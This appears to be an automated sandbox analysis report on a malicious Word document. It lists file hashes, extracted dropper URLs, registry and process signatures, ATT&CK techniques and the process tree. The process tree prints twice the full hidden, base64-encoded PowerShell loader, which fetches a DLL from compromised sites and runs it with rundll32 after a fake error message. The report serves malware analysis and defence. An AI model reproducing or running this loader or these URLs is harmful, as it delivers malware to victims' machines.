e5fc03b4e3a35dc4ecb66fecaf41bf2f410f65102a8d3c6ba998d699d5d2c864

General

Target

e5fc03b4e3a35dc4ecb66fecaf41bf2f410f65102a8d3c6ba998d699d5d2c864.doc
Size

87KB
MD5

3ab2daf32a000abd8a5dc328235f51f9
SHA1

d6dca90e6b8e05a9aff966becf5d3b9fea0256fc
SHA256

e5fc03b4e3a35dc4ecb66fecaf41bf2f410f65102a8d3c6ba998d699d5d2c864
SHA512

9cff3d95de479d3a48adbc1e1a4ad7dacbbf0d0f27cb6276e39da38a4bcea383f20a79feb0fee1d19d5f8c09941e8e648741e208d6655e688d51d6b37c2be480

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://globalruraldevelopmentagency.co.za/cgi-bin/inf/

exe.dropper

https://trioconcuerda.es/cgi-bin/Services/

exe.dropper

http://abbc.tv/wp-content/Triedit/

exe.dropper

http://asafina.co/wp-content/G3GLLO/

exe.dropper

http://bluepassgt.com/von-weise-ludzp/DNNXcQcRTT/

exe.dropper

http://larissarobles.com/wp-admin/SIGNUP/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2600 3460 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

21 2680 powershell.exe
29 3940 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3812 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Etqegkn\zlirsy.yxz rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	3460	cmd.exe

flow	pid	process
21	2680	powershell.exe
29	3940	rundll32.exe

pid	process
3812	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Etqegkn\zlirsy.yxz	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

640 WINWORD.EXE
640 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exerundll32.exe

pid process

2680 powershell.exe
2680 powershell.exe
2680 powershell.exe
3940 rundll32.exe
3940 rundll32.exe
3940 rundll32.exe
3940 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2680 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE

pid	process
640	WINWORD.EXE
640	WINWORD.EXE

pid	process
2680	powershell.exe
2680	powershell.exe
2680	powershell.exe
3940	rundll32.exe
3940	rundll32.exe
3940	rundll32.exe
3940	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	2680	powershell.exe

pid	process
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2600 wrote to memory of 2372	2600	cmd.exe	msg.exe
PID 2600 wrote to memory of 2372	2600	cmd.exe	msg.exe
PID 2600 wrote to memory of 2680	2600	cmd.exe	powershell.exe
PID 2600 wrote to memory of 2680	2600	cmd.exe	powershell.exe
PID 2680 wrote to memory of 3724	2680	powershell.exe	rundll32.exe
PID 2680 wrote to memory of 3724	2680	powershell.exe	rundll32.exe
PID 3724 wrote to memory of 3812	3724	rundll32.exe	rundll32.exe
PID 3724 wrote to memory of 3812	3724	rundll32.exe	rundll32.exe
PID 3724 wrote to memory of 3812	3724	rundll32.exe	rundll32.exe
PID 3812 wrote to memory of 3940	3812	rundll32.exe	rundll32.exe
PID 3812 wrote to memory of 3940	3812	rundll32.exe	rundll32.exe
PID 3812 wrote to memory of 3940	3812	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e5fc03b4e3a35dc4ecb66fecaf41bf2f410f65102a8d3c6ba998d699d5d2c864.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:640

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAEUAdAAtAGkAdABlAG0AIAAoACcAdgBhAHIAaQBBACcAKwAnAGIAbABFACcAKwAnADoAOAAnACsAJwBUAEsAbQAwACcAKQAgACgAIAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBvACcALAAnAHMAeQAnACwAJwBSAFkAJwAsACcAUwBUAGUATQAuAGkAbwAuAGQAaQBSAEUAYwBUACcAKQAgACAAKQA7ACAAJABvAFAANgBrAGkAPQAgAFsAdABZAHAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADEAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADMAfQAiACAALQBGACcAdAAnACwAJwBDAEUAcAAnACwAJwBTAHkAUwB0AGUAbQAuACcALAAnAEEAZwBlAHIAJwAsACcAbgBFAFQALgBTAGUAUgB2AEkAJwAsACcAbQBBAE4AJwAsACcATwBJAG4AJwApACAAOwAgACQAQwB3ADYAXwBqAHMANwA9ACQAUQAzADQAUQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASAA3ADkATQA7ACQATQBfADIATgA9ACgAKAAnAFkAMgAnACsAJwAzACcAKQArACcATQAnACkAOwAgACgAIAAgAGcAZQBUAC0ASQB0AGUAbQAgACAAKAAnAFYAQQBSAGkAYQAnACsAJwBiAEwARQAnACsAJwA6ADgAJwArACcAdABLAG0AMAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAQwBSAEUAYQBgAFQAYABlAGAAZABgAGkAUgBFAEMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBVAEEARgByACcAKQArACcAdgAnACsAJwAzAHAAJwArACgAJwAzADUAcAAnACsAJwBVAEEATgAnACsAJwB0AHcAJwApACsAJwBoACcAKwAoACcAYQAnACsAJwBnAGkAcAAnACkAKwAnAFUAQQAnACkALQByAGUAUABMAGEAYwBlACAAIAAoAFsAQwBoAEEAcgBdADEAMQAyACsAWwBDAGgAQQByAF0AOAA1ACsAWwBDAGgAQQByAF0ANgA1ACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABPAF8AMABaAD0AKAAoACcARwAxACcAKwAnADkAJwApACsAJwBMACcAKQA7ACAAIAAoACAAIABWAGEAUgBJAEEAYgBMAEUAIAAoACcATwAnACsAJwBQADYASwBpACcAKQAgACAAKQAuAFYAQQBsAFUARQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAeQBQAGAAUgBPAHQAbwBgAGMATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABIAF8ANQBJAD0AKAAoACcAQgAzACcAKwAnADMAJwApACsAJwBaACcAKQA7ACQAVABzADMAdwBsAGIANAAgAD0AIAAoACcAVwAnACsAKAAnADkAJwArACcANABDACcAKQApADsAJABYADUAMQBUAD0AKAAoACcAQwAnACsAJwA5ADgAJwApACsAJwBWACcAKQA7ACQATABhAF8AeQA3AGUAMQA9ACQASABPAE0ARQArACgAKAAoACcATgBPAEgARgByAHYAJwArACcAMwAnACkAKwAoACcAcAAzACcAKwAnADUATgAnACkAKwAnAE8AJwArACgAJwBIACcAKwAnAE4AdAAnACsAJwB3AGgAYQBnAGkAJwApACsAJwBOACcAKwAnAE8AJwArACcASAAnACkALgAiAHIAZQBQAGwAYABBAGMAZQAiACgAKAAnAE4ATwAnACsAJwBIACcAKQAsACcAXAAnACkAKQArACQAVABzADMAdwBsAGIANAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFIANAA0AFkAPQAoACcARgAwACcAKwAnADQAVwAnACkAOwAkAFIAbQBzAGMAZgB0ADkAPQAoACcAQQBdACcAKwAoACcAWwBxAFsAJwArACcARAAnACkAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwBnACcAKQArACgAJwBsAG8AJwArACcAYgBhAGwAcgAnACsAJwB1ACcAKQArACgAJwByAGEAbAAnACsAJwBkAGUAdgBlAGwAJwApACsAKAAnAG8AJwArACcAcABtACcAKQArACgAJwBlAG4AJwArACcAdAAnACkAKwAoACcAYQAnACsAJwBnAGUAbgBjAHkALgAnACkAKwAnAGMAbwAnACsAKAAnAC4AegBhAC8AYwAnACsAJwBnACcAKQArACcAaQAnACsAKAAnAC0AJwArACcAYgBpAG4AJwApACsAKAAnAC8AJwArACcAaQBuAGYALwAnACkAKwAnAEAAJwArACgAJwBBAF0AWwBxAFsAJwArACcARAAnACsAJwBzADoALwAvACcAKQArACcAdAAnACsAJwByACcAKwAoACcAaQBvAGMAbwBuACcAKwAnAGMAdQAnACsAJwBlACcAKQArACcAcgAnACsAKAAnAGQAJwArACcAYQAuACcAKQArACcAZQAnACsAJwBzAC8AJwArACgAJwBjACcAKwAnAGcAaQAnACkAKwAoACcALQBiACcAKwAnAGkAJwArACcAbgAvAFMAJwArACcAZQByAHYAaQBjACcAKQArACcAZQAnACsAJwBzAC8AJwArACcAQAAnACsAJwBBACcAKwAoACcAXQBbACcAKwAnAHEAWwAnACkAKwAnAEQAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAJwArACcAYgAnACsAKAAnAGIAJwArACcAYwAuAHQAJwApACsAJwB2AC8AJwArACcAdwBwACcAKwAoACcALQBjACcAKwAnAG8AJwArACcAbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKwAnAFQAcgAnACsAJwBpAGUAZABpAHQAJwApACsAKAAnAC8AQABBACcAKwAnAF0AWwAnACkAKwAoACcAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAvACcAKwAnAGEAcwBhACcAKwAnAGYAaQAnACkAKwAnAG4AYQAnACsAJwAuACcAKwAoACcAYwBvACcAKwAnAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AbgAnACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAJwArACcALwBHADMARwBMAEwAJwArACcATwAnACkAKwAoACcALwBAACcAKwAnAEEAJwApACsAKAAnAF0AWwAnACsAJwBxAFsARAA6AC8AJwApACsAKAAnAC8AYgBsACcAKwAnAHUAJwApACsAKAAnAGUAJwArACcAcABhACcAKQArACcAcwBzACcAKwAnAGcAdAAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwB2ACcAKQArACgAJwBvAG4AJwArACcALQB3AGUAaQBzAGUALQAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAegAnACsAJwBwAC8AJwApACsAKAAnAEQATgBOAFgAYwAnACsAJwBRAGMAJwArACcAUgBUACcAKQArACgAJwBUACcAKwAnAC8AQAAnACkAKwAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGEAcgBpACcAKwAnAHMAcwBhACcAKwAnAHIAbwBiACcAKQArACcAbAAnACsAJwBlAHMAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AUwBJAEcATgAnACsAJwBVAFAAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAKAAnAGQAJwArACcAcwBlACcAKQArACcAdwBmACcAKQAsACgAKAAnAHcAZQAnACsAJwB2ACcAKQArACcAdwBlACcAKQApACwAKAAnAGEAZQAnACsAJwBmAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAUwBQAGAATABpAFQAIgAoACQATgA2ADkARQAgACsAIAAkAEMAdwA2AF8AagBzADcAIAArACAAJABVADAANABPACkAOwAkAFQAOAAwAFIAPQAoACcAVwAnACsAKAAnADEAMQAnACsAJwBVACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABWAGsAeQB2AHUAXwByACAAaQBuACAAJABSAG0AcwBjAGYAdAA5ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPACcAKwAnAGIAagBlAGMAdAAnACkAIABzAFkAcwBUAGUAbQAuAE4ARQB0AC4AdwBFAEIAYwBsAGkARQBOAHQAKQAuACIARABPAGAAdwBOAGwATwBhAGQAYABGAGkAYABsAGUAIgAoACQAVgBrAHkAdgB1AF8AcgAsACAAJABMAGEAXwB5ADcAZQAxACkAOwAkAE4AMwA3AEoAPQAoACgAJwBVADAAJwArACcANAAnACkAKwAnAEwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEwAYQBfAHkANwBlADEAKQAuACIAbABgAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADQAMwA3ADMAMAApACAAewAmACgAJwByAHUAbgAnACsAJwBkAGwAJwArACcAbAAzADIAJwApACAAJABMAGEAXwB5ADcAZQAxACwAKAAoACcAUwBoAG8AJwArACcAdwAnACsAJwBEAGkAJwApACsAJwBhACcAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABgAG8AYABTAFQAUgBpAG4AZwAiACgAKQA7ACQATQA1ADEAVQA9ACgAJwBQADAAJwArACcAMQBXACcAKQA7AGIAcgBlAGEAawA7ACQATQAyADQARgA9ACgAJwBMACcAKwAoACcAOAAnACsAJwAyAFIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANgA0AE0APQAoACcAWQAnACsAKAAnADYANgAnACsAJwBZACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2600

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABzAEUAdAAtAGkAdABlAG0AIAAoACcAdgBhAHIAaQBBACcAKwAnAGIAbABFACcAKwAnADoAOAAnACsAJwBUAEsAbQAwACcAKQAgACgAIAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBvACcALAAnAHMAeQAnACwAJwBSAFkAJwAsACcAUwBUAGUATQAuAGkAbwAuAGQAaQBSAEUAYwBUACcAKQAgACAAKQA7ACAAJABvAFAANgBrAGkAPQAgAFsAdABZAHAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADEAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADMAfQAiACAALQBGACcAdAAnACwAJwBDAEUAcAAnACwAJwBTAHkAUwB0AGUAbQAuACcALAAnAEEAZwBlAHIAJwAsACcAbgBFAFQALgBTAGUAUgB2AEkAJwAsACcAbQBBAE4AJwAsACcATwBJAG4AJwApACAAOwAgACQAQwB3ADYAXwBqAHMANwA9ACQAUQAzADQAUQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASAA3ADkATQA7ACQATQBfADIATgA9ACgAKAAnAFkAMgAnACsAJwAzACcAKQArACcATQAnACkAOwAgACgAIAAgAGcAZQBUAC0ASQB0AGUAbQAgACAAKAAnAFYAQQBSAGkAYQAnACsAJwBiAEwARQAnACsAJwA6ADgAJwArACcAdABLAG0AMAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAQwBSAEUAYQBgAFQAYABlAGAAZABgAGkAUgBFAEMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBVAEEARgByACcAKQArACcAdgAnACsAJwAzAHAAJwArACgAJwAzADUAcAAnACsAJwBVAEEATgAnACsAJwB0AHcAJwApACsAJwBoACcAKwAoACcAYQAnACsAJwBnAGkAcAAnACkAKwAnAFUAQQAnACkALQByAGUAUABMAGEAYwBlACAAIAAoAFsAQwBoAEEAcgBdADEAMQAyACsAWwBDAGgAQQByAF0AOAA1ACsAWwBDAGgAQQByAF0ANgA1ACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABPAF8AMABaAD0AKAAoACcARwAxACcAKwAnADkAJwApACsAJwBMACcAKQA7ACAAIAAoACAAIABWAGEAUgBJAEEAYgBMAEUAIAAoACcATwAnACsAJwBQADYASwBpACcAKQAgACAAKQAuAFYAQQBsAFUARQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAeQBQAGAAUgBPAHQAbwBgAGMATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABIAF8ANQBJAD0AKAAoACcAQgAzACcAKwAnADMAJwApACsAJwBaACcAKQA7ACQAVABzADMAdwBsAGIANAAgAD0AIAAoACcAVwAnACsAKAAnADkAJwArACcANABDACcAKQApADsAJABYADUAMQBUAD0AKAAoACcAQwAnACsAJwA5ADgAJwApACsAJwBWACcAKQA7ACQATABhAF8AeQA3AGUAMQA9ACQASABPAE0ARQArACgAKAAoACcATgBPAEgARgByAHYAJwArACcAMwAnACkAKwAoACcAcAAzACcAKwAnADUATgAnACkAKwAnAE8AJwArACgAJwBIACcAKwAnAE4AdAAnACsAJwB3AGgAYQBnAGkAJwApACsAJwBOACcAKwAnAE8AJwArACcASAAnACkALgAiAHIAZQBQAGwAYABBAGMAZQAiACgAKAAnAE4ATwAnACsAJwBIACcAKQAsACcAXAAnACkAKQArACQAVABzADMAdwBsAGIANAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFIANAA0AFkAPQAoACcARgAwACcAKwAnADQAVwAnACkAOwAkAFIAbQBzAGMAZgB0ADkAPQAoACcAQQBdACcAKwAoACcAWwBxAFsAJwArACcARAAnACkAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwBnACcAKQArACgAJwBsAG8AJwArACcAYgBhAGwAcgAnACsAJwB1ACcAKQArACgAJwByAGEAbAAnACsAJwBkAGUAdgBlAGwAJwApACsAKAAnAG8AJwArACcAcABtACcAKQArACgAJwBlAG4AJwArACcAdAAnACkAKwAoACcAYQAnACsAJwBnAGUAbgBjAHkALgAnACkAKwAnAGMAbwAnACsAKAAnAC4AegBhAC8AYwAnACsAJwBnACcAKQArACcAaQAnACsAKAAnAC0AJwArACcAYgBpAG4AJwApACsAKAAnAC8AJwArACcAaQBuAGYALwAnACkAKwAnAEAAJwArACgAJwBBAF0AWwBxAFsAJwArACcARAAnACsAJwBzADoALwAvACcAKQArACcAdAAnACsAJwByACcAKwAoACcAaQBvAGMAbwBuACcAKwAnAGMAdQAnACsAJwBlACcAKQArACcAcgAnACsAKAAnAGQAJwArACcAYQAuACcAKQArACcAZQAnACsAJwBzAC8AJwArACgAJwBjACcAKwAnAGcAaQAnACkAKwAoACcALQBiACcAKwAnAGkAJwArACcAbgAvAFMAJwArACcAZQByAHYAaQBjACcAKQArACcAZQAnACsAJwBzAC8AJwArACcAQAAnACsAJwBBACcAKwAoACcAXQBbACcAKwAnAHEAWwAnACkAKwAnAEQAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAJwArACcAYgAnACsAKAAnAGIAJwArACcAYwAuAHQAJwApACsAJwB2AC8AJwArACcAdwBwACcAKwAoACcALQBjACcAKwAnAG8AJwArACcAbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKwAnAFQAcgAnACsAJwBpAGUAZABpAHQAJwApACsAKAAnAC8AQABBACcAKwAnAF0AWwAnACkAKwAoACcAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAvACcAKwAnAGEAcwBhACcAKwAnAGYAaQAnACkAKwAnAG4AYQAnACsAJwAuACcAKwAoACcAYwBvACcAKwAnAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AbgAnACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAJwArACcALwBHADMARwBMAEwAJwArACcATwAnACkAKwAoACcALwBAACcAKwAnAEEAJwApACsAKAAnAF0AWwAnACsAJwBxAFsARAA6AC8AJwApACsAKAAnAC8AYgBsACcAKwAnAHUAJwApACsAKAAnAGUAJwArACcAcABhACcAKQArACcAcwBzACcAKwAnAGcAdAAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwB2ACcAKQArACgAJwBvAG4AJwArACcALQB3AGUAaQBzAGUALQAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAegAnACsAJwBwAC8AJwApACsAKAAnAEQATgBOAFgAYwAnACsAJwBRAGMAJwArACcAUgBUACcAKQArACgAJwBUACcAKwAnAC8AQAAnACkAKwAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGEAcgBpACcAKwAnAHMAcwBhACcAKwAnAHIAbwBiACcAKQArACcAbAAnACsAJwBlAHMAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AUwBJAEcATgAnACsAJwBVAFAAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAKAAnAGQAJwArACcAcwBlACcAKQArACcAdwBmACcAKQAsACgAKAAnAHcAZQAnACsAJwB2ACcAKQArACcAdwBlACcAKQApACwAKAAnAGEAZQAnACsAJwBmAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAUwBQAGAATABpAFQAIgAoACQATgA2ADkARQAgACsAIAAkAEMAdwA2AF8AagBzADcAIAArACAAJABVADAANABPACkAOwAkAFQAOAAwAFIAPQAoACcAVwAnACsAKAAnADEAMQAnACsAJwBVACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABWAGsAeQB2AHUAXwByACAAaQBuACAAJABSAG0AcwBjAGYAdAA5ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPACcAKwAnAGIAagBlAGMAdAAnACkAIABzAFkAcwBUAGUAbQAuAE4ARQB0AC4AdwBFAEIAYwBsAGkARQBOAHQAKQAuACIARABPAGAAdwBOAGwATwBhAGQAYABGAGkAYABsAGUAIgAoACQAVgBrAHkAdgB1AF8AcgAsACAAJABMAGEAXwB5ADcAZQAxACkAOwAkAE4AMwA3AEoAPQAoACgAJwBVADAAJwArACcANAAnACkAKwAnAEwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEwAYQBfAHkANwBlADEAKQAuACIAbABgAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADQAMwA3ADMAMAApACAAewAmACgAJwByAHUAbgAnACsAJwBkAGwAJwArACcAbAAzADIAJwApACAAJABMAGEAXwB5ADcAZQAxACwAKAAoACcAUwBoAG8AJwArACcAdwAnACsAJwBEAGkAJwApACsAJwBhACcAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABgAG8AYABTAFQAUgBpAG4AZwAiACgAKQA7ACQATQA1ADEAVQA9ACgAJwBQADAAJwArACcAMQBXACcAKQA7AGIAcgBlAGEAawA7ACQATQAyADQARgA9ACgAJwBMACcAKwAoACcAOAAnACsAJwAyAFIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANgA0AE0APQAoACcAWQAnACsAKAAnADYANgAnACsAJwBZACcAKQApAA==
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dll,ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:3724

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dll,ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Etqegkn\zlirsy.yxz",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3940

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dll
MD5
76830a17ada93e706fba394247dbf7e2

SHA1
073d99bbbecd6a5796cb9275913bcca98c78d98f

SHA256
3ffb5575530438b6a599583d7d67ba20447f12df4d6b064967ddefc060583a7b

SHA512
33ad02b11bc1b5be2b3f473848d77d65afdb481671d58f44f8100a9b1d478d2a9227196a2f0cf48e15ec8b667efd459adca2360612c8f5470b5e99056461d0b9

Download Submit
\Users\Admin\Frv3p35\Ntwhagi\W94C.dll
MD5
76830a17ada93e706fba394247dbf7e2

SHA1
073d99bbbecd6a5796cb9275913bcca98c78d98f

SHA256
3ffb5575530438b6a599583d7d67ba20447f12df4d6b064967ddefc060583a7b

SHA512
33ad02b11bc1b5be2b3f473848d77d65afdb481671d58f44f8100a9b1d478d2a9227196a2f0cf48e15ec8b667efd459adca2360612c8f5470b5e99056461d0b9

Download Submit
memory/640-2-0x00000292209D0000-0x0000029221007000-memory.dmp

Filesize
6.2MB

Download
memory/2372-3-0x0000000000000000-mapping.dmp

Download
memory/2680-4-0x0000000000000000-mapping.dmp

Download
memory/2680-5-0x00007FFC29430000-0x00007FFC29E1C000-memory.dmp

Filesize
9.9MB

Download
memory/2680-6-0x000001CB5C890000-0x000001CB5C891000-memory.dmp

Filesize
4KB

Download
memory/2680-7-0x000001CB74BE0000-0x000001CB74BE1000-memory.dmp

Filesize
4KB

Download
memory/3724-8-0x0000000000000000-mapping.dmp

Download
memory/3812-10-0x0000000000000000-mapping.dmp

Download
memory/3940-12-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads